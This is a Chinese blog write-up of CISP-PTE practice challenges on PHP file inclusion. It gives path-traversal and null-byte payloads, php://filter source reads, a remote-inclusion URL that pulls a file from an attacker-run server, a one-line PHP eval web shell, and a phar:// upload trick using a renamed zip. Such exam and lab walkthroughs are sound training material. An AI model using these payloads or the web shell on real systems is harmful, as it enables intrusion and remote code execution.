当前位置:网站首页>2022 CISP-PTE(一)文件包含
2022 CISP-PTE(一)文件包含
2022-06-27 06:26:00 【Aτθ】
一、本地文件包含(基础)

1、第一道

2、第二道
....//....//flag.txt

3、第三道
....//....//flag.txt%00


4、第四道
....//....//....//flag.txt%00


二、本地文件包含(实操)
1、第一道


php://filter/convert.base64-encode/resource=../key.php


2、第二道


2.1 查看答题页面源码
查看答题页面源码,无任何有用信息。


直接访问view.html文件,并查看源代码。



2.2 传入参数


2.3 查看源码

三、远程文件包含(实操)
1、第一道
1.1 打开题目


1.2 初步尝试


1.3 远程文件包含
无法进行截断,换用远程文件包含。


1.4 蚁剑链接
http://49.235.78.245:1117/start/index.php?page=http://49.235.78.245/1



2、本地启动一个远程服务器
2.1 在用户目录下放一句话
1.txt
<?php @eval($_POST['c']);?>
目录:
C:\Users\Administrator

2.2 启动
python3执行:python3 -m http.server
python2执行: python2 -m SimpleHTTPServer


2.3 成功
http://192.168.1.107:8000/1.txt

3、第二道
3.1 查看题目源码





3.2 读取include.php和upload.php源码
php://filter/convert.base64-encode/resource=include


<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>

<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
3.3 上传文件
180.php:
<?php @eval($_POST['c']);?>
1、180.php写一句话;
2、180.php压缩为180.zip;
3、改写180.zip为180.jpg

3.4 读取文件
?file=phar://upload/180.jpg/180
c=phpinfo();

3.5 链接蚁剑



边栏推荐
- My opinion on test team construction
- Crawler learning 5--- anti crawling identification picture verification code (ddddocr and pyteseract measured effect)
- Block level elements & inline elements
- TiDB 中的数据库模式概述
- 快速实现蓝牙iBeacn功能详解
- Us camera cloud service scheme: designed for lightweight video production scenes
- Scala函数柯里化(Currying)
- Redis cache penetration, cache breakdown, cache avalanche
- Dev++ 环境设置C语言关键字显示颜色
- LeetCode 0086.分隔链表
猜你喜欢

IDEA一键生成Log日志

Matlab GUI interface simulation DC motor and AC motor speed simulation

Block level elements & inline elements

Program ape learning Tiktok short video production

Create a basic WDM driver and use MFC to call the driver

Dev++ environment setting C language keyword display color

426-二叉树(513.找树左下角的值、112. 路径总和、106.从中序与后序遍历序列构造二叉树、654. 最大二叉树)

Free SSH and telnet client putty

Kubesphere cluster configuration NFS storage solution - favorite

My opinion on test team construction
随机推荐
快速实现蓝牙iBeacn功能详解
Centos7.9安装mysql 5.7,并设置开机启动
Gaussian distribution, linear regression, logistic regression
Instance tunnel use
Currying Scala functions
卷积神经网络---CNN模型的应用(找矿预测)
693. alternate bit binary number
乐观事务和悲观事务
研究生数学建模竞赛-无人机在抢险救灾中的优化应用
Assembly language - Wang Shuang Chapter 11 flag register - Notes
高斯分布Gaussian distribution、線性回歸、邏輯回歸logistics regression
TiDB的事务概览
Multithreading basic Part3
Modeling competition - optical transport network modeling and value evaluation
分数阶PID控制
第 299 场周赛 第四题 6103. 从树中删除边的最小分数
[QT dot] realize the watchdog function to detect whether the external program is running
Force buckle 179, max
Keep 2 decimal places after multiplying SQLSEVER fields
JVM garbage collection mechanism